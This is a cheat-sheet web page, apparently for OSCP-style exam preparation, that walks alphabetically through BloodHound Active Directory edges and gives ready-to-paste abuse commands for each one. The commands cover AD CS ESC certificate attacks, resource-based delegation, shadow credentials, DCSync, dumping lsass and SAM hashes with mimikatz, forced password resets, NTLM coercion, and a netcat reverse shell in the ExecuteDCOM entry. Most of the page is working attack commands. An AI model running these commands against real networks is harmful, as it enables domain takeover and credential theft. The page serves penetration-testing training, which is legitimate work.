BloodHound edges
Every edge BloodHound draws, A to Z: what it means, how to abuse it, with your creds already filled in
You are looking at a graph with an edge on it and want the command. Find the
edge name below, or press / and type it. Each entry says what the edge gives
you, how to confirm it, the abuse from Kali and from a Windows shell, what to do
with the result, and how to put it back.
Pick who you are acting as with the acting as chips — that is the slot whose
user, password and hash go into $ME, $MEPASS and $MEHASH. Put the object at
the far end of the edge in TARGET, and its FQDN in THOST if it is a computer.
Everything else comes across from the cheatsheet panel.
The tags say how often an edge turns up on the exam. Type likely in the filter
to see only those.
variables
Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.
paste this into a fresh terminal
export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.md"export PASSLIST="$WORKDIR/passwords.md"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclistsexport NEWPASS="Passw0rd123!"export FAKEPC="FAKE01$"export FAKEPASS="FakePass123!"export SPN=fake/kerberoastexport ME="$USER1"export MEPASS="$PASS1"export MEHASH="$HASH1"export MEAUTH="$AUTH1"start
everything below runs as the slot picked under "acting as". Password forms are shown; the hash and ticket forms of each tool are here once
auth forms [5]
the same credential, spelled the way each tool wants it. Swap any card's password form for one of these when all you have is a hash or a ticket
the target after the @ is whatever the card is talking to — the DC for LDAP work, THOST for a shell
impacket-TOOL "$DOMAIN/$ME:$MEPASS@$DC" -dc-ip $IPimpacket-TOOL -hashes :$MEHASH "$DOMAIN/$ME@$DC" -dc-ip $IPexport KRB5CCNAME=$MEAUTH; impacket-TOOL -k -no-pass "$DOMAIN/$ME@$DC"one tool for nearly every ACL edge. apt install bloodyad, or pipx install bloodyAD
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS COMMANDbloodyAD --host $DC -d $DOMAIN -u $ME -p :$MEHASH COMMANDbloodyAD --host $DC -d $DOMAIN -u $ME -k COMMANDnxc ldap $DC -u $ME -p $MEPASSnxc ldap $DC -u $ME -H $MEHASHevil-winrm -i $THOST -u $ME -H $MEHASHcertipy find -u "$ME@$DOMAIN" -hashes $MEHASH -dc-ip $IP -vulnerable -stdoutwhen the windows shell you are in is not $ME. Build $Cred once, then add -Credential $Cred to any PowerView line below
$pw = ConvertTo-SecureString '$MEPASS' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$ME', $pw)Get-DomainUser -Identity $TARGET -Credential $Credgroup membership and most rights live in the ticket you already hold. After adding yourself to a group, get a fresh one or the DC still sees the old you
impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IP && export KRB5CCNAME=$ME.ccacheklist purgeRubeus.exe asktgt /user:$ME /password:$MEPASS /pttwhich edge first [5]
the graph usually offers more than one. This is the order that costs the least
# GenericAll / GenericWrite / AllExtendedRights / ForceChangePassword / WriteDacl / WriteOwner / Owns# 1. AddKeyCredentialLink style — shadow creds. Quiet, nothing changes for the user, needs a CA in the domain# 2. WriteSPN style — targeted kerberoast. Nothing changes, but you have to crack it# 3. ForceChangePassword — always works, user is locked out. Fine on the exam, last on an engagement# GenericAll / GenericWrite / WriteDacl / WriteOwner / Owns / AddMember / AddSelf# add yourself, get a new TGT, re-run "which creds work where" — the group is usually local admin somewhere# GenericAll / GenericWrite / AddAllowedToAct / WriteAccountRestrictions / AllExtendedRights# 1. ReadLAPSPassword if LAPS is there — it is a password, no kerberos# 2. RBCD — add a fake computer, delegate to the target, S4U as administrator. Needs MachineAccountQuota > 0# 3. shadow creds on the computer account, then S4U2self as administrator on it# GenericAll / WriteDacl / WriteOwner / Owns / AllExtendedRights / GetChanges+GetChangesAll# DCSync. Grant it if you do not already have it, dump krbtgt and administrator, pass the hash to the DCthe Owned Principals queries are empty until you mark what you hold. Names are upper case in the database
# right click the node > Mark User as OwnedMATCH p=shortestPath((s)-[*1..]->(t:Group)) WHERE s.owned=true AND t.name STARTS WITH 'DOMAIN ADMINS@' RETURN pMATCH p=shortestPath((s)-[*1..]->(t)) WHERE s.owned=true AND t.highvalue=true RETURN pMATCH (s)-[r]->(t) WHERE s.owned=true AND NOT type(r) IN ['MemberOf','Contains','GPLink'] RETURN s.name,type(r),t.nameA
AbuseTGTDelegation [1]exam: rare
domain → domain. The trust lets TGTs be delegated across it, so a host with unconstrained delegation in the domain you own can collect a DC ticket from the other one
out of exam scope. The whole thing is CoerceToTGT, aimed across a trust
# need: SYSTEM on a computer with unconstrained delegation in your domain (THOST), and a way to coerce the other DC.\Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC02$python3 PetitPotam.py -u $ME -p $MEPASS -d $DOMAIN $THOST dc02.$DOMAIN2# the ticket Rubeus prints is the other DC's TGT: ptt it, then dcsync the other domain.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN2 /user:$DOMAIN2\krbtgt" exitADCSESC1 [4]exam: possible
a template you can enrol in lets you supply the subject, needs no approval, and issues a cert good for logon. Ask for one as administrator
certipy names the template and the ESC. THOST is the CA host here
certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -vulnerable -stdoutnewer DCs want the SID in the cert too — add -sid when auth fails with KDC_ERR_CERTIFICATE_MISMATCH
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN" -sid $SID-500auth hands you a TGT and the NT hash. The hash goes everywhere a password does
certipy auth -pfx administrator.pfx -dc-ip $IPexport KRB5CCNAME=administrator.ccacheimpacket-secretsdump -k -no-pass "$DOMAIN/administrator@$DC".\Certify.exe request /ca:$THOST\$CA /template:$TEMPLATE /altname:administratoropenssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /pttADCSESC3 [1]exam: rare
an enrollment-agent template you can enrol in, plus a second template that accepts agent-signed requests. You request a cert on behalf of administrator
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -on-behalf-of "$DOMAIN\administrator" -pfx $ME.pfxcertipy auth -pfx administrator.pfx -dc-ip $IPADCSESC4 [2]exam: possible
you can write the template itself. Turn it into an ESC1 template, use it, put it back
-save-old writes the original to TEMPLATE.json. Restore it — a template left open is the kind of thing a reviewer notices
certipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -save-oldcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IPcertipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -configuration $TEMPLATE.jsonwhat certipy template is doing. Name flag 1 is ENROLLEE_SUPPLIES_SUBJECT, enrollment flag 0 drops manager approval
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Certificate-Name-Flag -v 1bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Enrollment-Flag -v 0ADCSESC6a [1]exam: possible
the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set, so any template takes a SAN from the request. Patched CAs (May 2022) need the b variant or a non-enforced mapping
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IPADCSESC6b [1]exam: rare
same flag, but the cert has to come without the SID security extension — a template with that extension disabled, against a DC not enforcing strong mapping
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IPADCSESC9a [1]exam: rare
you have GenericWrite on a user (TARGET) and a template without the security extension. Swap the victim's UPN to administrator, enrol as them, swap it back
the shadow line gets you the victim's hash to enrol with. Restore the UPN before you forget
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn administratorcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $IPADCSESC9b [1]exam: rare
ESC9a aimed at a computer. The dNSHostName is what gets swapped, and the cert comes back as the DC's
certipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -dns $DCcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -dns "$TARGET.$DOMAIN"certipy auth -pfx dc01.pfx -dc-ip $IPADCSESC10a [1]exam: rare
ESC9 without the template flag — the DC's own certificate-mapping registry is weak instead. Same chain, any template with client auth
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn administratorcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template Usercertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $IPADCSESC10b [1]exam: rare
the Schannel variant — the cert authenticates over LDAPS rather than Kerberos, so the UPN you write ends in the DC's machine account
certipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn 'DC01$@$DOMAIN'certipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template Usercertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx dc01.pfx -dc-ip $IP -ldap-shell# in the ldap shell: add_user_to_group $ME "Domain Admins"ADCSESC13 [1]exam: rare
the template carries an issuance policy that is linked to a group. A cert from it logs you in as a member of that group
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy auth -pfx $ME.pfx -dc-ip $IPexport KRB5CCNAME=$ME.ccache; nxc smb $DC --use-kcache --groupsAddAllowedToAct [6]exam: likely
you can write msDS-AllowedToActOnBehalfOfOtherIdentity on the computer TARGET. Resource-based constrained delegation — you decide who may impersonate users to it
impacket-rbcd -action read -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS -M maqMachineAccountQuota is 10 by default, so any user can add one. If it is 0, use a computer you already own, or shadow creds on one
impacket-addcomputer "$DOMAIN/$ME:$MEPASS" -computer-name $FAKEPC -computer-pass $FAKEPASS -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add computer $FAKEPC $FAKEPASSimpacket-rbcd -action write -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCcifs for a shell over smb, host or http for winrm. getST names the file user@service_host@DOMAIN.ccache
impacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"impacket-secretsdump -k -no-pass "$DOMAIN/administrator@$THOST"New-MachineAccount -MachineAccount $FAKEPC -Password $(ConvertTo-SecureString '$FAKEPASS' -AsPlainText -Force)$sid = Get-DomainComputer $FAKEPC -Properties objectsid | select -expand objectsid$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"$b = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($b, 0)Get-DomainComputer $TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$b}.\Rubeus.exe hash /password:$FAKEPASS /user:$FAKEPC /domain:$DOMAIN.\Rubeus.exe s4u /user:$FAKEPC /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/$THOST /pttimpacket-rbcd -action remove -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove rbcd $TARGET $FAKEPCAddKeyCredentialLink [5]exam: likely
you can write msDS-KeyCredentialLink on TARGET. Shadow credentials — add your own key, authenticate as them with a certificate, and nothing about their password changes
needs a CA in the domain for PKINIT, and the DC on 2016 or later. No CA — fall back to WriteSPN or ForceChangePassword
certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -stdout | grep -iE 'CA Name|DNS Name'nxc ldap $DC -u $ME -p $MEPASS -M adcsauto does add, authenticate, print the NT hash, and remove the key in one go
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add shadowCredentials $TARGETpywhisker -d $DOMAIN -u $ME -p $MEPASS --target $TARGET --action add.\Whisker.exe add /target:$TARGET /domain:$DOMAIN /dc:$DC.\Rubeus.exe asktgt /user:$TARGET /certificate:<base64 from whisker> /password:<password from whisker> /getcredentials /pttthe hash is the user. A computer$ target gives you its hash, and S4U2self on it gives you administrator on that box
evil-winrm -i $THOST -u $TARGET -H <nt hash>impacket-getST -spn cifs/$THOST -impersonate administrator -hashes :<computer hash> "$DOMAIN/$TARGET" -dc-ip $IP -selfcertipy shadow clear -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETpywhisker -d $DOMAIN -u $ME -p $MEPASS --target $TARGET --action clear.\Whisker.exe clear /target:$TARGETAddMember [5]exam: likely
you can add members to the group TARGET. Add yourself, then be whatever the group is
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr membernet rpc group members "$TARGET" -U "$DOMAIN/$ME%$MEPASS" -S $DCbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEnet rpc group addmem "$TARGET" "$ME" -U "$DOMAIN/$ME%$MEPASS" -S $DCAdd-DomainGroupMember -Identity '$TARGET' -Members '$ME'net group "$TARGET" $ME /add /domainthe membership is in your next ticket, not your current one. Re-auth, then find out where the group is admin
impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc smb $SUBNET -u $ME -p $MEPASSnxc smb $DC -u $ME -p $MEPASS --groupsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove groupMember $TARGET $MERemove-DomainGroupMember -Identity '$TARGET' -Members '$ME'AddSelf [2]exam: likely
AddMember, but only yourself. Same commands, same follow-up
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEnet rpc group addmem "$TARGET" "$ME" -U "$DOMAIN/$ME%$MEPASS" -S $DCAdd-DomainGroupMember -Identity '$TARGET' -Members '$ME'impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove groupMember $TARGET $MEAdminTo [5]exam: likely
you are a local administrator on THOST. A shell, then everything that box has in memory and on disk
Pwn3d! is the confirmation
nxc smb $THOST -u $ME -p $MEPASSnxc smb $THOST -u $ME -H $MEHASHwmiexec is the quietest. psexec drops a service binary. evil-winrm needs 5985 and the remote management group or admin
impacket-wmiexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-psexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-psexec -hashes :$MEHASH "$DOMAIN/$ME@$THOST"evil-winrm -i $THOST -u $ME -p $MEPASSthe SAM gives the local admin hash, which is often reused. lsa gives cached domain creds and service account passwords. lsassy pulls logged-on users out of lsass
nxc smb $THOST -u $ME -p $MEPASS --sam --lsanxc smb $THOST -u $ME -p $MEPASS -M lsassyimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST".\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" exit.\Rubeus.exe triage.\Rubeus.exe dump /nowrapevery hash out of there goes through "which creds work where". A ticket for someone better is a ptt away
nxc smb $SUBNET -u administrator -H <sam hash> --local-auth.\Rubeus.exe ptt /ticket:<base64>AllExtendedRights [3]exam: likely
every extended right on TARGET. Which one matters depends on what TARGET is
impacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -resetbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set password $TARGET $NEWPASS# or AddKeyCredentialLink — quieter, see that entrynxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwdimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmAllowedToAct [3]exam: likely
the account you hold is already in TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity. Skip the setup and go straight to S4U — you can be anyone to that computer
impacket-rbcd -action read -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP$ME here is the account with the delegation — usually a computer$, so the hash form. Not protected-users, not "sensitive and cannot be delegated"
impacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-getST -spn cifs/$THOST -impersonate administrator -hashes :$MEHASH "$DOMAIN/$ME" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST".\Rubeus.exe s4u /user:$ME /rc4:$MEHASH /impersonateuser:administrator /msdsspn:cifs/$THOST /altservice:host,http /pttdir \\$THOST\c$AllowedToDelegate [4]exam: likely
constrained delegation. The account you hold may request tickets to specific services on THOST as any user. With protocol transition it can do it for users who never spoke to it
the SPNs listed are what you may delegate to. The service name in them does not matter — alter it to cifs
impacket-findDelegation "$DOMAIN/$ME:$MEPASS" -dc-ip $IPGet-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegatetoGet-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto-altservice swaps the service in the ticket. No protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION unset) means you need a ticket from the user first — -additional-ticket
impacket-getST -spn <spn from the list> -altservice cifs/$THOST -impersonate administrator "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-getST -spn <spn from the list> -altservice cifs/$THOST -impersonate administrator -hashes :$MEHASH "$DOMAIN/$ME" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST".\Rubeus.exe s4u /user:$ME /rc4:$MEHASH /impersonateuser:administrator /msdsspn:<spn from the list> /altservice:cifs,host,http /pttdir \\$THOST\c$Enter-PSSession $THOSTa ticket for administrator to cifs on THOST is a shell on THOST. If THOST is the DC, it is the domain
impacket-secretsdump -k -no-pass "$DOMAIN/administrator@$THOST"C
CanPSRemote [3]exam: likely
you are in Remote Management Users on THOST, so WinRM on 5985 will take you. Not necessarily an administrator there — check what you land as
nxc winrm $THOST -u $ME -p $MEPASSnxc winrm $SUBNET -u $ME -p $MEPASSevil-winrm -i $THOST -u $ME -p $MEPASSevil-winrm -i $THOST -u $ME -H $MEHASHEnter-PSSession -ComputerName $THOSTa non-admin WinRM shell is a foothold, not a win. Run the usual local privesc from here
whoami /priv; whoami /groupsnet localgroup administrators.\winPEASx64.exe quiet servicesinfoCanRDP [3]exam: likely
you are in Remote Desktop Users on THOST. A desktop, which is what you want for anything that needs one
nxc rdp $THOST -u $ME -p $MEPASS/drive shares a folder in, which beats hunting for a file transfer. Restricted Admin mode is what lets a hash in
xfreerdp /v:$THOST /u:$ME /p:$MEPASS /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/wwwxfreerdp /v:$THOST /u:$ME /pth:$MEHASH /cert:ignore /dynamic-resolutionthe desktop is the point — procmon, a GUI installer, a password manager someone left open
whoami /priv; whoami /groupscmdkey /listClaimSpecialIdentity [1]exam: none
the node belongs to a built-in identity such as Authenticated Users or Everyone
# not an action. It explains why a right reaches you: the ACE was granted to# Authenticated Users or Everyone, and you are one. Follow the edge out of that# identity node — whatever it grants, every domain user hasCoerceAndRelayNTLMToADCS [1]exam: none
coerce a machine to authenticate, relay it to the web enrollment endpoint, get a certificate as that machine. ESC8
relaying is a spoofing attack, and the OSCP rules ban those outright. Here so you recognise the edge
# banned on the exam — do not run this on an exam box# what it is: http enrollment on the CA accepts NTLM, so a coerced DC authentication# can be relayed into a certificate request for that DC# detect it:certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -stdout | grep -i "Web Enrollment"CoerceAndRelayNTLMToLDAP [1]exam: none
coerce a machine, relay the authentication to LDAP on the DC, then write with its rights
# banned on the exam — relaying is spoofing# the thing to take from this edge: LDAP signing is not enforced on the DCnxc ldap $DC -u $ME -p $MEPASS -M ldap-checkerCoerceAndRelayNTLMToLDAPS [1]exam: none
the same over LDAPS, when channel binding is not enforced
# banned on the exam — relaying is spoofingnxc ldap $DC -u $ME -p $MEPASS -M ldap-checkerCoerceAndRelayNTLMToSMB [1]exam: none
coerce a machine and relay to SMB on a host where that machine is an administrator. Needs SMB signing off on the receiving end
worth knowing the signing check though — it tells you the domain is not hardened, which says something about the rest of it
# banned on the exam — relaying is spoofingnxc smb $SUBNET --gen-relay-list $WORKDIR/loot/no-signing.mdnxc smb $SUBNET | grep -i "signing:False"CoerceToTGT [4]exam: possible
unconstrained delegation. Any authentication to this host leaves the caller's TGT in its memory, so coercing a DC to connect hands you the DC's ticket
the DC itself always has it. Anything else with it is the finding
impacket-findDelegation "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS --trusted-for-delegationGet-DomainComputer -Unconstrained | select name.\Rubeus.exe monitor /interval:5 /nowrap.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exitthe coercion itself is fine on the exam — it is not spoofing, you are asking a service to connect. Relaying what comes back is the banned part, and this does not relay
python3 PetitPotam.py -u $ME -p $MEPASS -d $DOMAIN $THOST $DCpython3 printerbug.py "$DOMAIN/$ME:$MEPASS@$DC" $THOSTdfscoerce.py -u $ME -p $MEPASS -d $DOMAIN $THOST $DCthe captured ticket is the DC machine account, which can DCSync
.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\krbtgt" exitContains [1]exam: none
an OU or container holds this object
# not an action on its own. It is the route a GPO reaches an object by:# OU -Contains-> computer, and a GPLink on that OU applies to everything inside.# If you can write the OU, see WriteGPLink — that is the edge with the abuse on itCrossForestTrust [1]exam: none
a trust to a domain in another forest. SID filtering is on across a forest boundary, so the usual SID history trick does not cross it
out of scope for the exam set, which is one domain. Enumerate it, do not plan around it
nxc ldap $DC -u $ME -p $MEPASS -M enum_trustsimpacket-GetADUsers "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -allGet-DomainTrustD – G
DCFor [1]exam: none
this computer is a domain controller for that domain
# not an action. It marks the box that holds the database, so a path ending here# is the domain. Set DC to this name in the panel — kerberos needs the FQDNDCSync [4]exam: likely
you can ask the DC to replicate secrets to you. Every hash in the domain, without touching the box
the right is GetChanges plus GetChangesAll on the domain object. Both, or it fails
nxc ldap $DC -u $ME -p $MEPASS -M daclread -o TARGET_DN="DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" ACTION=readGet-ObjectAcl -Identity "$DOMAIN" -ResolveGUIDs | ? { $_.ObjectAceType -match 'Replication-Get' }-just-dc-ntlm is the one you want. The full dump takes far longer and gives you kerberos keys you will not use
impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmimpacket-secretsdump -hashes :$MEHASH "$DOMAIN/$ME@$DC" -just-dc-ntlmimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-user krbtgtnxc smb $DC -u $ME -p $MEPASS --ntds.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\administrator" exit.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /all /csv" exitpass the administrator hash straight back at the DC. That is the box
impacket-psexec -hashes :<administrator hash> "$DOMAIN/administrator@$DC"evil-winrm -i $DC -u administrator -H <administrator hash>type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigDelegatedEnrollmentAgent [1]exam: rare
you are allowed to act as an enrollment agent for this template, which is the second half of ESC3
# see ADCSESC3 — this edge is the permission that attack needs.# with an agent certificate already in hand:certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -on-behalf-of "$DOMAIN\administrator" -pfx $ME.pfxDumpSMSAPassword [2]exam: possible
a standalone managed service account is installed on this computer, and anyone with admin there can read its password out of LSA
you need local admin on the host first — this edge comes after AdminTo, not instead of it
nxc smb $THOST -u $ME -p $MEPASS --lsaimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST" | grep -i '\$'.\mimikatz.exe "privilege::debug" "lsadump::secrets" exitservice accounts are usually privileged somewhere. Run it through the creds check
nxc smb $SUBNET -u '<sa name>$' -H <hash>Enroll [2]exam: possible
you may request a certificate from this template. On its own that is normal; it matters when the template is one of the ESC entries
certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -vulnerable -stdouteven a boring client-auth certificate is a credential that survives a password change — worth taking on the way past
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy auth -pfx $ME.pfx -dc-ip $IPEnrollOnBehalfOf [1]exam: rare
certificates from the first template may be used to request on behalf of a subject for the second. The template-to-template half of ESC3
# see ADCSESC3 for the full chainEnterpriseCAFor [1]exam: none
this CA serves that AD CS environment
# not an action. It names the CA host and CA name for every certipy command# on this page — set THOST and CA in the panel from itcertipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -stdout | grep -iE 'CA Name|DNS Name'ExecuteDCOM [3]exam: likely
you are in Distributed COM Users on THOST, so you can instantiate objects there and get execution. The fallback when 445 and 5985 are shut
nxc smb $THOST -u $ME -p $MEPASSGet-NetLocalGroupMember -ComputerName $THOST -GroupName "Distributed COM Users"impacket-dcomexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-dcomexec -object MMC20 "$DOMAIN/$ME:$MEPASS@$THOST"impacket-dcomexec -hashes :$MEHASH "$DOMAIN/$ME@$THOST"$dcom = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application","$THOST"))$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd","7")ExtendedByPolicy [1]exam: none
the template carries this issuance policy
# not an action. It is the link ADCSESC13 travels — follow the policy node on# to the group it is tied toForceChangePassword [4]exam: likely
you can set TARGET's password without knowing the old one. The bluntest edge on the page, and the one most likely to work
it locks the real user out, and on a shared box that gets noticed fast. If the target is a user and there is a CA, AddKeyCredentialLink does the same job silently
# service account with an SPN? → WriteSPN, kerberoast it instead# CA in the domain? → AddKeyCredentialLink, nothing changes# neither, or you need it now? → change itimpacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -resetbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set password $TARGET $NEWPASSnet rpc password "$TARGET" "$NEWPASS" -U "$DOMAIN/$ME%$MEPASS" -S $DC$pw = ConvertTo-SecureString '$NEWPASS' -AsPlainText -ForceSet-DomainUserPassword -Identity $TARGET -AccountPassword $pwnet user $TARGET $NEWPASS /domainput the new password in the next free slot in the panel and point "acting as" at it
nxc smb $SUBNET -u $TARGET -p $NEWPASSnxc winrm $SUBNET -u $TARGET -p $NEWPASSevil-winrm -i $THOST -u $TARGET -p $NEWPASSGenericAll [6]exam: likely
full control of TARGET. The most common edge on the graph, and what you do with it depends entirely on what TARGET is
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr objectClass,sAMAccountType,memberOfGet-DomainObject -Identity $TARGET | select objectclass,samaccountname,distinguishednamein order of how much noise they make. All three are on this page with the full steps
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add uac $TARGET -f DONT_REQ_PREAUTHimpacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -resetbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEimpacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IPLAPS first if it is there, then RBCD, then shadow creds on the machine account
